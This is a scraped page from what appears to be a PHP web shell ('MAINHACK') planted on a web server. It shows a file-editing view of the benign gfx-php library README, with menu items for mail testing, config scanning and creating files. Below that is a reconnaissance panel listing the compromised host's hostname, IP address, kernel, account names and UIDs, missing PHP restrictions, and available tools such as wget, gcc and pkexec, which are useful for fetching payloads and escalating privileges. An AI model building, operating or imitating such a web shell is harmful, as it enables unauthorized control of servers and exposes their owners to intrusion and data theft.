[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: README.md
# gfx-php - The pure PHP graphics library [](https://travis-ci.org/mike42/gfx-php) [](https://packagist.org/packages/mike42/gfx-php) [](https://packagist.org/packages/mike42/gfx-php) [](https://packagist.org/packages/mike42/gfx-php) [](https://coveralls.io/github/mike42/gfx-php?branch=master) This library implements input, output and processing of raster images in pure PHP, so that image processing extensions (Gd, Imagick) are not required. This allows developers to eliminate some portability issues from their applications. ### Features - Format support includes PNG, GIF, BMP and the Netpbm formats (See docs: [File formats](https://gfx-php.readthedocs.io/en/latest/user/formats.html)). - Support for scaling, cropping, format conversion and colorspace transformations (See docs: [Image operations](https://gfx-php.readthedocs.io/en/latest/user/operations.html)). - Pure PHP: This library does not require Gd, ImageMagick or GraphicsMagick extensions. ## Quick start ### Requirements - PHP 7.0 or newer. - `zlib` extension, for reading PNG files. ### Installation Install `gfx-php` with composer: ```bash composer install mike42/gfx-php ``` ### Basic usage The basic usage is like this: ```php <?php use Mike42\GfxPhp\Image; $img = Image::fromFile("colorwheel256.png"); $img -> write("test.gif"); ``` ### Further reading - Read of the documentation at [gfx-php.readthedocs.io](https://gfx-php.readthedocs.io/) - See the `examples/` sub-folder for snippets. ## Contributing This project is open to all kinds of contributions, including suggestions, documentation fixes, examples, formats and image processing algorithms. Some ideas for improvement listed in [the issue tracker](https://travis-ci.org/mike42/gfx-php). Code contributions must be releasable under the LGPLv3 or later. ### Scope As a small project, we can't do everything. In particular, `gfx-php` is not likely to ever perform non-raster operations: - vector image formats (PDF, SVG, EPS, etc). - anything involving vector fonts ### Acknowledgements This repository uses test files from other projects: - [BMP Suite](http://entropymine.com/jason/bmpsuite/) by Jason Summers. - [PyGIF](https://github.com/robert-ancell/pygif) test suite by Robert Ancell. - [pngsuite](http://www.schaik.com/pngsuite/) by Willem van Schaik. ## Similar projects - [Imagine](https://github.com/avalanche123/Imagine), which wraps available libraries.
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.69 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002